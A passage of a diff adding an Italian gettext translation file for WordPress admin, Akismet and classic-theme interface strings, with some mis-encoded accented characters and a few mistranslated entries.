+msgstr "Indicatore di forza (della password)"
+
+#: wp-admin/user-edit.php:304
+#: wp-admin/user-new.php:125
+msgid "Hint: The password should be at least seven characters long. To make it stronger, use upper and lower case letters, numbers and symbols like ! \" ? $ % ^ &amp; )."
+msgstr "Suggerimento: la propria password dovrebbe essere lunga almeno sette caratteri. Per renderla piÃ¹ robusta, utilizzare lettere maiuscole e minuscole, numeri e simboli tipo ! \" ? $ % ^ &amp; )."
+
+#: wp-admin/user-edit.php:322
+msgid "Additional Capabilities"
+msgstr "CapacitÃ  aggiuntive"
+
+#: wp-admin/user-edit.php:340
+msgid "Update Profile"
+msgstr "Aggiorna profilo"
+
+#: wp-admin/user-edit.php:340
+msgid "Update User"
+msgstr "Aggiorna utente"
+
+#: wp-admin/user-new.php:22
+msgid "You can&#8217;t create users."
+msgstr "Non Ãš possibile creare utenti."
+
+#: wp-admin/user-new.php:36
+#: wp-admin/user-new.php:48
+msgid "Add New User"
+msgstr "Aggiungi nuovo utente"
+
+#: wp-admin/user-new.php:78
+#, php-format
+msgid "Users can <a href=\"%1$s\">register themselves</a> or you can manually create users here."
+msgstr "Gli utenti possono <a href=\"%1$s\">registrarsi da soli</a> o Ãš possibile crearli manualmente in questa pagina."
+
+#: wp-admin/user-new.php:80
+#, php-format
+msgid "Users cannot currently <a href=\"%1$s\">register themselves</a>, but you can manually create users here."
+msgstr "Gli utenti possono <a href=\"%1$s\">registrarsi da soli</a> o Ãš possibile crearli manualmente qui."
+
+#: wp-admin/user-new.php:101
+msgid "First Name"
+msgstr "Nome"
+
+#: wp-admin/user-new.php:105
+msgid "Last Name"
+msgstr "Cognome"
+
+#: wp-admin/user-new.php:119
+msgid "(twice, required)"
+msgstr "(ripetuta, obbligatoria)"
+
+#: wp-admin/user-new.php:129
+msgid "Send Password?"
+msgstr "Inviare password?"
+
+#: wp-admin/user-new.php:130
+msgid "Send this password to the new user by email."
+msgstr "Invia al nuovo utente questa password tramite email."
+
+#: wp-admin/user-new.php:147
+msgid "Add User"
+msgstr "Aggiungi utente"
+
+#: wp-admin/users.php:59
+msgid "You can&#8217;t edit that user."
+msgstr "Non Ãš possibile modificare questo utente."
+
+#: wp-admin/users.php:85
+#: wp-admin/users.php:126
+msgid "You can&#8217;t delete users."
+msgstr "Non Ãš possibile cancellare gli utenti."
+
+#: wp-admin/users.php:93
+msgid "You can&#8217;t delete that user."
+msgstr "Non Ãš possibile cancellare questo utente."
+
+#: wp-admin/users.php:141
+msgid "Delete Users"
+msgstr "Cancella gli utenti"
+
+#: wp-admin/users.php:142
+msgid "You have specified these users for deletion:"
+msgstr "Si sono selezionati questi utenti per la cancellazione:"
+
+#: wp-admin/users.php:150
+#, php-format
+msgid "ID #%1s: %2s <strong>The current user will not be deleted.</strong>"
+msgstr "ID #%1s: %2s <strong>l&#8217;utente corrente non puÃ² essere cancellato.</strong>"
+
+#: wp-admin/users.php:152
+#, php-format
+msgid "ID #%1s: %2s"
+msgstr "ID #%1s: %2s"
+
+#: wp-admin/users.php:165
+msgid "What should be done with posts and links owned by this user?"
+msgstr "Cosa si deve fare degli articoli e dei link che appartengono a questo utente?"
+
+#: wp-admin/users.php:168
+msgid "Delete all posts and links."
+msgstr "Cancella tutti gli articoli e i link."
+
+#: wp-admin/users.php:170
+msgid "Attribute all posts and links to:"
+msgstr "Assegna la proprietÃ  di tutti gli articoli e i link a:"
+
+#: wp-admin/users.php:173
+msgid "Confirm Deletion"
+msgstr "Conferma o rinomina:"
+
+#: wp-admin/users.php:175
+msgid "There are no valid users selected for deletion."
+msgstr "Nessun utente valido selezionato per la cancellazione"
+
+#: wp-admin/users.php:205
+#, php-format
+msgid "%s user deleted"
+msgid_plural "%s users deleted"
+msgstr[0] "%s utente cancellato"
+msgstr[1] "%s utenti cancellati"
+
+#: wp-admin/users.php:208
+msgid "New user created."
+msgstr "Aggiungi nuovo utente"
+
+#: wp-admin/users.php:211
+msgid "Changed roles."
+msgstr "Ruoli modificati."
+
+#: wp-admin/users.php:214
+msgid "The current user&#8217;s role must have user editing capabilities."
+msgstr "Il ruolo dell&#8217;utente corrente deve avere la capacitÃ  di modificare le capacitÃ  degli utenti."
+
+#: wp-admin/users.php:215
+msgid "Other user roles have been changed."
+msgstr "Altri ruoli utente sono stati modificati."
+
+#: wp-admin/users.php:218
+msgid "You can&#8217;t delete the current user."
+msgstr "Non Ãš possibile cancellare questo utente."
+
+#: wp-admin/users.php:219
+msgid "Other users have been deleted."
+msgstr "Sono stati eliminati altri utenti."
+
+#: wp-admin/users.php:267
+#, php-format
+msgctxt "users"
+msgid "All <span class=\"count\">(%s)</span>"
+msgid_plural "All <span class=\"count\">(%s)</span>"
+msgstr[0] "Totale <span class=\"count\">(%s)</span>"
+msgstr[1] "Totale <span class=\"count\">(%s)</span>"
+
+#. translators: User role name with count
+#: wp-admin/users.php:281
+#, php-format
+msgid "%1$s <span class=\"count\">(%2$s)</span>"
+msgstr "%1$s <span class=\"count\">(%2$s)</span>"
+
+#: wp-admin/users.php:293
+#: wp-admin/users.php:295
+msgid "Search Users"
+msgstr "Cerca utenti"
+
+#: wp-admin/users.php:312
+msgid "Change role to&hellip;"
+msgstr "Cambia ruolo in&hellip;"
+
+#: wp-admin/users.php:313
+msgid "Change"
+msgstr "Modifica"
+
+#: wp-admin/users.php:335
+msgid "&larr; Back to All Users"
+msgstr "&larr; Torna a Tutti gli utenti"
+
+#: wp-admin/widgets.php:23
+#: wp-includes/functions.php:2740
+msgid "Widgets"
+msgstr "Widget"
+
+#: wp-admin/widgets.php:28
+#: wp-admin/widgets.php:353
+msgid "Inactive Widgets"
+msgstr "Widget non attivi"
+
+#: wp-admin/widgets.php:119
+msgid "No Sidebars Defined"
+msgstr "Nessuna Sidebar definita"
+
+#: wp-admin/widgets.php:121
+msgid "The theme you are currently using isn&#8217;t widget-aware, meaning that it has no sidebars that you are able to change. For information on making your theme widget-aware, please <a href=\"http://codex.wordpress.org/Widgetizing_Themes\">follow these instructions</a>."
+msgstr "Il tema attualmente in uso non Ãš pronto per i widget, quindi non ha alcuna barra laterale che Ãš possibile modificare. Per informazioni su come rendere un tema pronto per i widget si <a href=\"http://automattic.com/code/widgets/themes/\">faccia riferimento a queste istruzioni</a>."
+
+#: wp-admin/widgets.php:241
+#, php-format
+msgid "Widget %s"
+msgstr "Widget %s"
+
+#: wp-admin/widgets.php:252
+msgid "Select both the sidebar for this widget and the position of the widget in that sidebar."
+msgstr "Selezionare per questo widget sia la barra laterale (sidebar) che la sua posizione."
+
+#: wp-admin/widgets.php:254
+msgid "Position"
+msgstr "Posizione"
+
+#: wp-admin/widgets.php:269
+msgid "-- select --"
+msgstr "- seleziona -"
+
+#: wp-admin/widgets.php:288
+msgid "Save Widget"
+msgstr "Salve widget"
+
+#: wp-admin/widgets.php:313
+msgid "Changes saved."
+msgstr "Le modifiche sono state salvate."
+
+#: wp-admin/widgets.php:317
+msgid "Error while saving."
+msgstr "Errore durante il salvataggio."
+
+#: wp-admin/widgets.php:318
+msgid "Error in displaying the widget settings form."
+msgstr "Errore nella visualizzazione del modulo di impostazione dei widget."
+
+#: wp-admin/widgets.php:339
+msgid "Available Widgets"
+msgstr "Widget disponibili"
+
+#: wp-admin/widgets.php:341
+msgid "Drag widgets from here to a sidebar on the right to activate them. Drag widgets back here to deactivate them and delete their settings."
+msgstr "Trascinare i widget da qui su una sidebar sulla destra per renderli attivi. Trascinare nuovamente qui i widget per disattivarli e cancellare le loro impostazioni."
+
+#: wp-admin/widgets.php:356
+msgid "Drag widgets here to remove them from the sidebar but keep their settings."
+msgstr "Trascinare qui i widget per rimuoverli dalla sidebar ma mantenendo le loro impostazioni."
+
+#: wp-app.php:315
+#, php-format
+msgid "AtomPub services are disabled on this blog.  An admin user can enable them at %s"
+msgstr "I servizi AtomPub sono disabilitati su questo blog. Un amministratore puÃ² abilitarli su %s"
+
+#: wp-app.php:353
+#: wp-app.php:393
+msgid "Sorry, you do not have the right to access this blog."
+msgstr "Non si dispone dei permessi per accedere a questo blog."
+
+#: wp-app.php:448
+msgid "Sorry, you do not have the right to edit/publish new posts."
+msgstr "Non si dispone dei permessi per modificare/pubblicare nuovi articoli."
+
+#: wp-app.php:473
+#: wp-app.php:671
+#: wp-app.php:853
+#: xmlrpc.php:1877
+#: xmlrpc.php:2215
+msgid "Sorry, your entry could not be posted. Something wrong happened."
+msgstr "Non Ãš possibile pubblicare questo intervento. &Eacute; successo qualcosa di strano ."
+
+#: wp-app.php:500
+msgid "Sorry, you do not have the right to access this post."
+msgstr "Non si dispone dei permessi per accedere a questo articolo."
+
+#: wp-app.php:535
+#: wp-app.php:703
+#: wp-app.php:779
+#: wp-app.php:821
+#: xmlrpc.php:1919
+msgid "Sorry, you do not have the right to edit this post."
+msgstr "Non si ha il permesso di modificare questo articolo."
+
+#: wp-app.php:558
+#: wp-app.php:719
+#: xmlrpc.php:1935
+msgid "For some strange yet very annoying reason, this post could not be edited."
+msgstr "Per qualche strano motivo, non Ãš possibile modificare questo articolo."
+
+#: wp-app.php:581
+#: wp-app.php:741
+#: xmlrpc.php:1971
+msgid "Sorry, you do not have the right to delete this post."
+msgstr "Non si dispone dei permessi per cancellare questo articolo."
+
+#: wp-app.php:590
+#: wp-app.php:757
+#: xmlrpc.php:1976
+msgid "For some strange yet very annoying reason, this post could not be deleted."
+msgstr "Per qualche strano motivo, non Ãš possibile cancellare questo articolo."
+
+#: wp-app.php:608
+msgid "Sorry, you do not have permission to upload files."
+msgstr "Non si dispone del permesso per caricare file."
+
+#: wp-app.php:748
+#: wp-app.php:786
+#: wp-app.php:831
+msgid "Error ocurred while accessing post metadata for file location."
+msgstr "Si Ãš verificato un errore durante l&#8217;accesso ai metadata dell&#8217;articolo relativi alla localizzazione dei file."
+
+#: wp-comments-post.php:29
+msgid "Sorry, comments are closed for this item."
+msgstr "I commenti sono chiusi per questo articolo."
+
+#: wp-comments-post.php:58
+msgid "Sorry, you must be logged in to post a comment."
+msgstr "Per inviare un commento occorre aver effettuato il login."
+
+#: wp-comments-post.php:65
+msgid "Error: please fill the required fields (name, email)."
+msgstr "Errore: compilare i campi obbligatori (nome, e-mail)."
+
+#: wp-comments-post.php:67
+msgid "Error: please enter a valid email address."
+msgstr "Errore: inserire un indirizzo e-mail valido."
+
+#: wp-content/plugins/akismet/akismet.php:51
+#: wp-content/plugins/akismet/akismet.php:127
+msgid "Akismet Configuration"
+msgstr "Configurazione Akismet"
+
+#: wp-content/plugins/akismet/akismet.php:114
+msgid "Your key has been cleared."
+msgstr "La tua chiave Ãš stata azzerata."
+
+#: wp-content/plugins/akismet/akismet.php:115
+msgid "Your key has been verified. Happy blogging!"
+msgstr "La tua chiave Ãš stata verificata. Buon lavoro!"
+
+#: wp-content/plugins/akismet/akismet.php:116
+msgid "The key you entered is invalid. Please double-check it."
+msgstr "La chiave immessa sembra non essere valida. Verificarla."
+
+#: wp-content/plugins/akismet/akismet.php:117
+msgid "The key you entered could not be verified because a connection to akismet.com could not be established. Please check your server configuration."
+msgstr "La chiave immessa non puÃ² essere verificata perchÃ© non Ãš possiibile stabilire una connessione con akismet.com. Verificare la configurazione del proprio server."
+
+#: wp-content/plugins/akismet/akismet.php:118
+msgid "There was a problem connecting to the Akismet server. Please check your server configuration."
+msgstr "Si Ãš verificato un problema nella connessione con il server Akismet. Verificare la configurazione del proprio server."
+
+#: wp-content/plugins/akismet/akismet.php:119
+#, php-format
+msgid "Please enter an API key. (<a href=\"%s\" style=\"color:#fff\">Get your key.</a>)"
+msgstr "Immettere una API key. (<a href=\"%s\" style=\"color:#fff\">Ottenere una chiave.</a>)"
+
+#: wp-content/plugins/akismet/akismet.php:120
+msgid "This key is valid."
+msgstr "La chiave Ãš valida."
+
+#: wp-content/plugins/akismet/akismet.php:121
+msgid "The key below was previously validated but a connection to akismet.com can not be established at this time. Please check your server configuration."
+msgstr "La chiave sottostante Ãš stata precedentemente validata ma al momento non Ãš possibile stabilire una connessione con akismet.com. Verificare la configurazione del proprio server."
+
+#: wp-content/plugins/akismet/akismet.php:124
+#: wp-content/themes/default/functions.php:366
+msgid "Options saved."
+msgstr "Impostazioni salvate."
+
+#: wp-content/plugins/akismet/akismet.php:131
+#, php-format
+msgid "For many people, <a href=\"%1$s\">Akismet</a> will greatly reduce or even completely eliminate the comment and trackback spam you get on your site. If one does happen to get through, simply mark it as \"spam\" on the moderation screen and Akismet will learn from the mistakes. If you don't have a WordPress.com account yet, you can get one at <a href=\"%2$s\">WordPress.com</a>."
+msgstr "Per molte persone, <a href=\"%1$s\">Akismet</a> riduce di molto o elimina completamente lo spam inviato tramite commenti e trackback. Se qualcuno di essi non viene bloccato, Ãš possibile semplicemente contrassegnarlo come \"spam\"  nella pagina di moderazione e Akismet imparerÃ  dai propri errori. Se non si dispone ancora di un account WordPress.com, Ãš possibile ottenerne uno su <a href=\"%2$s\">WordPress.com</a>."
+
+#: wp-content/plugins/akismet/akismet.php:134
+msgid "WordPress.com API Key"
+msgstr "Chiave API WordPress.com"
+
+#: wp-content/plugins/akismet/akismet.php:138
+msgid "<a href=\"http://faq.wordpress.com/2005/10/19/api-key/\">What is this?</a>"
+msgstr "<a href=\"http://faq.wordpress.com/2005/10/19/api-key/\">Di cosa si tratta?</a>"
+
+#: wp-content/plugins/akismet/akismet.php:140
+msgid "Why might my key be invalid?"
+msgstr "PerchÃ©  la mia chiave potrebbe essere non valida?"
+
+#: wp-content/plugins/akismet/akismet.php:141
+msgid "This can mean one of two things, either you copied the key wrong or that the plugin is unable to reach the Akismet servers, which is most often caused by an issue with your web host around firewalls or similar."
+msgstr "CiÃ² puÃ²; significare due cose, che si Ãš copiata la chiave in maniera errata o che il plugin non riesce a contatttare i server Akismet, ciÃ² Ãš spesso causato da un problema con il vostro fornitore di hosting a causa di un firewall o una cosa simile."
+
+#: wp-content/plugins/akismet/akismet.php:144
+msgid "Automatically discard spam comments on posts older than a month."
+msgstr "Elimina automaticamente i commenti di spam agli articoli che sono piÃ¹ vecchi di un mese."
+
+#: wp-content/plugins/akismet/akismet.php:145
+msgid "Update options &raquo;"
+msgstr "Aggiorna impostazioni &raquo;"
+
+#: wp-content/plugins/akismet/akismet.php:150
+msgid "Server Connectivity"
+msgstr "ConnettivitÃ  server"
+
+#: wp-content/plugins/akismet/akismet.php:157
+msgid "Unable to reach some Akismet servers."
+msgstr "Impossibile raggiungere alcuni dei server Akismet."
+
+#: wp-content/plugins/akismet/akismet.php:158
+#, php-format
+msgid "A network problem or firewall is blocking some connections from your web server to Akismet.com.  Akismet is working but this may cause problems during times of network congestion.  Please contact your web host or firewall administrator and give them <a href=\"%s\" target=\"_blank\">this information about Akismet and firewalls</a>."
+msgstr "Un problema di rete o di firewall blocca alcune connessioni fra il vostro web server verso Akismet.com.  <strong>Akismet sta funzionando ma ciÃ² puÃ² causare problemi durante i periodi di congestione della rete.</strong> Contattare il proprio web host o l'amministratore del firewall e fornire <a href=\"%s\" target=\"_blank\">queste informazioni riguardanti Akismet ed i firewall</a>."
+
+#: wp-content/plugins/akismet/akismet.php:162
+msgid "Unable to reach any Akismet servers."
+msgstr "Impossibile raggiungere i server Akismet."
+
+#: wp-content/plugins/akismet/akismet.php:163
+#, php-format
+msgid "A network problem or firewall is blocking all connections from your web server to Akismet.com.  <strong>Akismet cannot work correctly until this is fixed.</strong>  Please contact your web host or firewall administrator and give them <a href=\"%s\" target=\"_blank\">this information about Akismet and firewalls</a>."
+msgstr "Un problema di rete o di firewall blocca tutte le connessioni fra il vostro web server verso Akismet.com.  <strong>Akismet non puÃ² operare correttamente sino a quando questo problema non verrÃ  risolto.</strong> Contattare il proprio web host o l'amministratore del firewall e fornire <a href=\"%s\" target=\"_blank\">queste informazioni riguardanti Akismet ed i firewall</a>."
+
+#: wp-content/plugins/akismet/akismet.php:168
+msgid "Akismet is working correctly.  All servers are accessible."
+msgstr "Akismet sta funzionando correttamente.  Tutti i server sono accessibili."
+
+#: wp-content/plugins/akismet/akismet.php:173
+msgid "Network functions are disabled."
+msgstr "Le funzionalitÃ  di rete sono disabilitate"
+
+#: wp-content/plugins/akismet/akismet.php:174
+#, php-format
+msgid "Your web host or server administrator has disabled PHP's <code>fsockopen</code> function.  <strong>Akismet cannot work correctly until this is fixed.</strong>  Please contact your web host or firewall administrator and give them <a href=\"%s\" target=\"_blank\">this information about Akismet's system requirements</a>."
+msgstr "Il vostro web host o il vostro server administrator ha disabilitato la funzione PHP <code>fsockopen</code>.  <strong>Akismet non puÃ² operare correttamente sino a quando questo problema non sarÃ  stato risolto.</strong>  Contattare il proprio web host o l'amministratore del firewall e fornire <a href=\"%s\" target=\"_blank\">queste informazioni riguardanti le caratteristiche dei server necessarie ad Akismet</a>."
+
+#: wp-content/plugins/akismet/akismet.php:178
+msgid "Unable to find Akismet servers."
+msgstr "Impossibile trovare i server Akismet."
+
+#: wp-content/plugins/akismet/akismet.php:179
+#, php-format
+msgid "A DNS problem or firewall is preventing all access from your web server to Akismet.com.  <strong>Akismet cannot work correctly until this is fixed.</strong>  Please contact your web host or firewall administrator and give them <a href=\"%s\" target=\"_blank\">this information about Akismet and firewalls</a>."
+msgstr "Un problema di DNS o di firewall impedisce qualsiasi accesso ad Akismet.com da parte del vostro web server.  <strong>Akismet non puÃ² funzionare correttamente sino a che il rpoblema non verrÃ  risolto.</strong>  Contattare il proprio web host o l'amministratore del firewall e fornire <a href=\"%s\" target=\"_blank\">queste informazioni riguardanti Akismet ed i firewall</a>."
+
+#: wp-content/plugins/akismet/akismet.php:195
+msgid "Obstructed"
+msgstr "Ostruite"
+
+#: wp-content/plugins/akismet/akismet.php:203
+#, php-format
+msgid "Last checked %s ago."
+msgstr "Ultimo controllo %s fa."
+
+#: wp-content/plugins/akismet/akismet.php:204
+msgid "Check network status &raquo;"
+msgstr "Verifica stato della rete &raquo;"
+
+#: wp-content/plugins/akismet/akismet.php:214
+msgid "Akismet Stats"
+msgstr "Statistiche Akismet"
+
+#: wp-content/plugins/akismet/akismet.php:319
+msgid "Akismet is almost ready."
+msgstr "Akismet Ãš quasi pronto."
+
+#: wp-content/plugins/akismet/akismet.php:319
+#, php-format
+msgid "You must <a href=\"%1$s\">enter your WordPress.com API key</a> for it to work."
+msgstr "Per poterlo farlfunzionare occorre inserire <a href=\"%1$s\">la propria chiave API WordPress.com</a>."
+
+#: wp-content/plugins/akismet/akismet.php:327
+msgid "Akismet has detected a problem."
+msgstr "Akismet ha identificato un problema."
+
+#: wp-content/plugins/akismet/akismet.php:327
+#, php-format
+msgid "A server or network problem is preventing Akismet from working correctly.  <a href=\"%1$s\">Click here for more information</a> about how to fix the problem."
+msgstr "Un problema di rete o di server impedisce ad Akismet di lavorare correttamente.  <a href=\"%1$s\">Fare clic qui per avere maggiori informazioni</a> su come risolvere il problema."
+
+#: wp-content/plugins/akismet/akismet.php:568
+#, php-format
+msgid "Akismet Spam (%s)"
+msgstr "Spam Akismet (%s)"
+
+#: wp-content/plugins/akismet/akismet.php:570
+#: wp-content/plugins/akismet/akismet.php:572
+msgid "Akismet Spam"
+msgstr "Spam Akismet"
+
+#: wp-content/plugins/akismet/akismet.php:582
+#: wp-content/plugins/akismet/akismet.php:601
+msgid "You do not have sufficient permission to moderate comments."
+msgstr "Non si dispone di permessi sufficienti per moderare i commenti."
+
+#: wp-content/plugins/akismet/akismet.php:613
+#, php-format
+msgid "%1$s comments recovered."
+msgstr "%1$s commenti recuperati."
+
+#: wp-content/plugins/akismet/akismet.php:617
+msgid "All spam deleted."
+msgstr "Tutto lo spam Ãš stato cancellato."
+
+#: wp-content/plugins/akismet/akismet.php:665
+msgid "Caught Spam"
+msgstr "Spam bloccato"
+
+#: wp-content/plugins/akismet/akismet.php:670
+#, php-format
+msgid "Akismet has caught <strong>%1$s spam</strong> for you since you first installed it."
+msgstr "Akismet ha bloccato <strong>%1$s</strong> messaggi di spam da quando Ãš stato installato."
+
+#: wp-content/plugins/akismet/akismet.php:677
+msgid "You have no spam currently in the queue. Must be your lucky day. :)"
+msgstr "Non c'Ãš spam in coda di moderazione. Deve essere il tuo giorno fortunato. :)"
+
+#: wp-content/plugins/akismet/akismet.php:680
+msgid "You can delete all of the spam from your database with a single click. This operation cannot be undone, so you may wish to check to ensure that no legitimate comments got through first. Spam is automatically deleted after 15 days, so don&#8217;t sweat it."
+msgstr "<p>&Egrave; possibile cancellare tutto lo spam dal proprio database con un singolo clic. Questa operazione non potrÃ  venire annullata, quindi assicurarsi che non via siano commenti legittimi che potrebbero andare persi definitivamente. Lo spam viene automaticamente cancellato dopo 15 giorni, quindi non preoccuparsi di questo.</p>"
+
+#: wp-content/plugins/akismet/akismet.php:686
+#: wp-content/plugins/akismet/akismet.php:864
+#, php-format
+msgid "There are currently %1$s comments identified as spam."
+msgstr "Attualmente ci sono %1$s commenti identificati come spam."
+
+#: wp-content/plugins/akismet/akismet.php:686
+#: wp-content/plugins/akismet/akismet.php:864
+msgid "Delete all"
+msgstr "Cancella tutto"
+
+#: wp-content/plugins/akismet/akismet.php:695
+msgid "These are the latest comments identified as spam by Akismet. If you see any mistakes, simply mark the comment as \"not spam\" and Akismet will learn from the submission. If you wish to recover a comment from spam, simply select the comment, and click Not Spam. After 15 days we clean out the junk for you."
+msgstr "<p>Questi sono gli ultimi commenti identificati da Akismet come spam. Se si nota qualche errore, Ãš possibile semplicemente contrassegnare il commento come \"non spam\" ed Akismet imparerÃ  da questa segnalazione. Se si desidera recuperare un commento dallo spam, fare semplicemente clic su Non Spam. Dopo 15 giorni provvederemo noi alla pulizia dei dati spazzatura.</p>"
+
+#: wp-content/plugins/akismet/akismet.php:749
+msgid "Search Spam &raquo;"
+msgstr "Ricerca spam &raquo;"
+
+#: wp-content/plugins/akismet/akismet.php:756
+#: wp-content/plugins/akismet/akismet.php:823
+#: wp-includes/link-template.php:1446
+msgid "&laquo; Previous Page"
+msgstr "&laquo; Pagina precedente"
+
+#: wp-content/plugins/akismet/akismet.php:777
+#: wp-content/plugins/akismet/akismet.php:844
+#: wp-includes/link-template.php:1447
+msgid "Next Page &raquo;"
+msgstr "Pagina successiva &raquo;"
+
+#: wp-content/plugins/akismet/akismet.php:799
+msgid "IP:"
+msgstr "IP:"
+
+#: wp-content/plugins/akismet/akismet.php:805
+msgid "Not Spam"
+msgstr "Non Ãš spam"
+
+#: wp-content/plugins/akismet/akismet.php:850
+msgid "De-spam marked comments &raquo;"
+msgstr "Marca i commenti come no-spam &raquo;"
+
+#: wp-content/plugins/akismet/akismet.php:852
+msgid "Comments you de-spam will be submitted to Akismet as mistakes so it can learn and get better."
+msgstr "I commenti marcati come no-spam verranno inviati ad Akismet e segnalati come errori in modo che possa imparare e migliorare in futuro."
+
+#: wp-content/plugins/akismet/akismet.php:888
+#, php-format
+msgid "<a href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comments</a>."
+msgstr "<a href=\"%1$s\">Akismet</a> ha protetto il tuo sito da <a href=\"%2$s\">%3$s messaggi spam</a>."
+
+#: wp-content/plugins/akismet/akismet.php:906
+#, php-format
+msgid "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comment already,"
+msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comments already,"
+msgstr[0] "<a href=\"%1$s\">Akismet</a> ha giÃ  protetto questo sito da %2$s commento di spam,"
+msgstr[1] "<a href=\"%1$s\">Akismet</a> ha giÃ  protetto questo sito da %2$s commenti di spam,"
+
+#: wp-content/plugins/akismet/akismet.php:911
+#, php-format
+msgid "<a href=\"%1$s\">Akismet</a> blocks spam from getting to your blog,"
+msgstr "<a href=\"%1$s\">Akismet</a> blocca lo spam che raggiunge il blog,"
+
+#: wp-content/plugins/akismet/akismet.php:916
+#, php-format
+msgid "and there's <a href=\"%2$s\">%1$s comment</a> in your spam queue right now."
+msgid_plural "and there are <a href=\"%2$s\">%1$s comments</a> in your spam queue right now."
+msgstr[0] "ed al momento vi Ãš <a href=\"%2$s\">%1$s commento</a> nella coda di spam."
+msgstr[1] "ed al momento vi sono <a href=\"%2$s\">%1$s commenti</a> nella coda di spam."
+
+#: wp-content/plugins/akismet/akismet.php:921
+#, php-format
+msgid "but there's nothing in your <a href='%1$s'>spam queue</a> at the moment."
+msgstr "ma al momento non c&#8217;Ãš nulla nella <a href='%1$s'>coda di spam</a>."
+
+#: wp-content/plugins/akismet/akismet.php:924
+#, php-format
+msgid "%1$s %2$s|akismet_rightnow"
+msgstr "%1$s %2$s|akismet_rightnow"
+
+#: wp-content/plugins/akismet/akismet.php:939
+msgid "Recheck Queue for Spam"
+msgstr "Ricontrolla la coda di Spam"
+
+#: wp-content/plugins/akismet/akismet.php:956
+msgid "Check for Spam"
+msgstr "Ricontrolla lo Spam"
+
+#: wp-content/plugins/akismet/akismet.php:1031
+#, php-format
+msgid "%1$s %2$sspam comments%3$s %4$sblocked by%5$s<br />%6$sAkismet%7$s"
+msgstr "%1$s %2$scommenti di spam%3$s %4$sbloccati da%5$s<br />%6$sAkismet%7$s"
+
+#: wp-content/plugins/akismet/akismet.php:1093
+msgid "spam comments"
+msgstr "commenti spam"
+
+#: wp-content/plugins/akismet/akismet.php:1093
+msgid "blocked by"
+msgstr "bloccato da"
+
+#: wp-content/themes/classic/comments-popup.php:9
+#, php-format
+msgid "Comments on %s"
+msgstr "Commenti a %s"
+
+#: wp-content/themes/classic/comments-popup.php:31
+#: wp-content/themes/classic/comments.php:35
+msgid "<abbr title=\"Really Simple Syndication\">RSS</abbr> feed for comments on this post."
+msgstr "<abbr title=\"Really Simple Syndication\">RSS</abbr> feed dei commenti a questo articolo."
+
+#: wp-content/themes/classic/comments-popup.php:34
+msgid "The <abbr title=\"Universal Resource Locator\">URL</abbr> to TrackBack this entry is:"
+msgstr "L&#8217;<acronym title=\"Uniform Resource Locator\">URL</acronym> per inviare un trackback a questo articolo Ãš:"
+
+#: wp-content/themes/classic/comments-popup.php:52
+#: wp-content/themes/classic/comments.php:24
+msgid "by"
+msgstr "di"
+
+#: wp-content/themes/classic/comments-popup.php:62
+#: wp-content/themes/classic/comments.php:13
+#: wp-content/themes/classic/comments.php:42
+msgid "Leave a comment"
+msgstr "Lascia un commento"
+
+#: wp-content/themes/classic/comments-popup.php:63
+msgid "Line and paragraph breaks automatic, e-mail address never displayed, <acronym title=\"Hypertext Markup Language\">HTML</acronym> allowed:"
+msgstr "A capo e separazione tra i paragrafi automatici, l&#8217;indirizzo e-mail non Ãš mai mostrato, codice <acronym title=\"Hypertext Markup Language\">HTML</acronym> consentito:"
+
+#: wp-content/themes/classic/comments-popup.php:67
+#: wp-content/themes/classic/comments.php:52
+#, php-format
+msgid "Logged in as %s."
+msgstr "Collegato come %s."
+
+#: wp-content/themes/classic/comments-popup.php:67
+#: wp-content/themes/classic/comments.php:52
+msgid "Log out of this account"
+msgstr "Esci da questo account"
+
+#: wp-content/themes/classic/comments-popup.php:67
+#: wp-content/themes/classic/comments.php:52
+msgid "Log out &raquo;"
+msgstr "Esci da questo account &raquo;"
+
+#: wp-content/themes/classic/comments-popup.php:81
+msgid "<abbr title=\"Universal Resource Locator\">URL</abbr>"
+msgstr "<abbr title=\"Uniform Resource Locator\">URL</abbr>"
+
+#: wp-content/themes/classic/comments-popup.php:86
+msgid "Your Comment"
+msgstr "Il tuo commento"
+
+#: wp-content/themes/classic/comments-popup.php:94
+msgid "Say It!"
+msgstr "Dillo!"
+
+#: wp-content/themes/classic/comments-popup.php:99
+#: wp-content/themes/classic/comments.php:81
+msgid "Sorry, the comment form is closed at this time."
+msgstr "Al momento l&#8217;inserimento di commenti non Ãš consentito."
+
+#: wp-content/themes/classic/comments-popup.php:104
+msgid "Close this window."
+msgstr "Chiudi questa finestra."
+
+#: wp-content/themes/classic/comments-popup.php:115
+#, php-format
+msgid "<cite>Powered by <a href=\"http://wordpress.org\" title=\"%s\"><strong>WordPress</strong></a></cite>"
+msgstr "<cite>Funziona con <a href=\"http://wordpress.org\" title=\"%s\"><strong>WordPress</strong></a></cite>"
+
+#: wp-content/themes/classic/comments-popup.php:115
+#: wp-content/themes/classic/footer.php:12
+#: wp-content/themes/classic/sidebar.php:38
+#: wp-includes/default-widgets.php:300
+msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform."
+msgstr "Funziona con Wordpress."
+
+#: wp-content/themes/classic/comments.php:8
+msgid "Enter your password to view comments."
+msgstr "Inserire la propria password per visualizzare i commenti"
+
+#: wp-content/themes/classic/comments.php:11
+#: wp-includes/comment-template.php:554
+#: wp-includes/comment-template.php:914
+msgid "No Comments"
+msgstr "Nessun commento"
+
+#: wp-content/themes/classic/comments.php:11
+#: wp-includes/comment-template.php:556
+#: wp-includes/comment-template.php:915
+msgid "1 Comment"
+msgstr "1 commento"
+
+#: wp-content/themes/classic/comments.php:11
+#: wp-includes/comment-template.php:552
+#: wp-includes/comment-template.php:916
+msgid "% Comments"
+msgstr "% commenti"
+
+#: wp-content/themes/classic/comments.php:24
+#: wp-content/themes/classic/index.php:15
+#: wp-includes/link-template.php:605
+#: wp-includes/link-template.php:819
+msgid "Edit This"
+msgstr "Modifica"
+
+#: wp-content/themes/classic/comments.php:37
+msgid "TrackBack <abbr title=\"Universal Resource Locator\">URL</abbr>"
+msgstr "TrackBack <abbr title=\"Uniform Resource Locator\">URL</abbr>"
+
+#: wp-content/themes/classic/comments.php:45
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "Occorre aver fatto il <a href=\"%s\">login</a> per inviare un commento"
+
+#: wp-content/themes/classic/comments.php:60
+msgid "Mail (will not be published)"
+msgstr "Mail (che non verrÃ  pubblicata)"
+
+#: wp-content/themes/classic/comments.php:67
+#, php-format
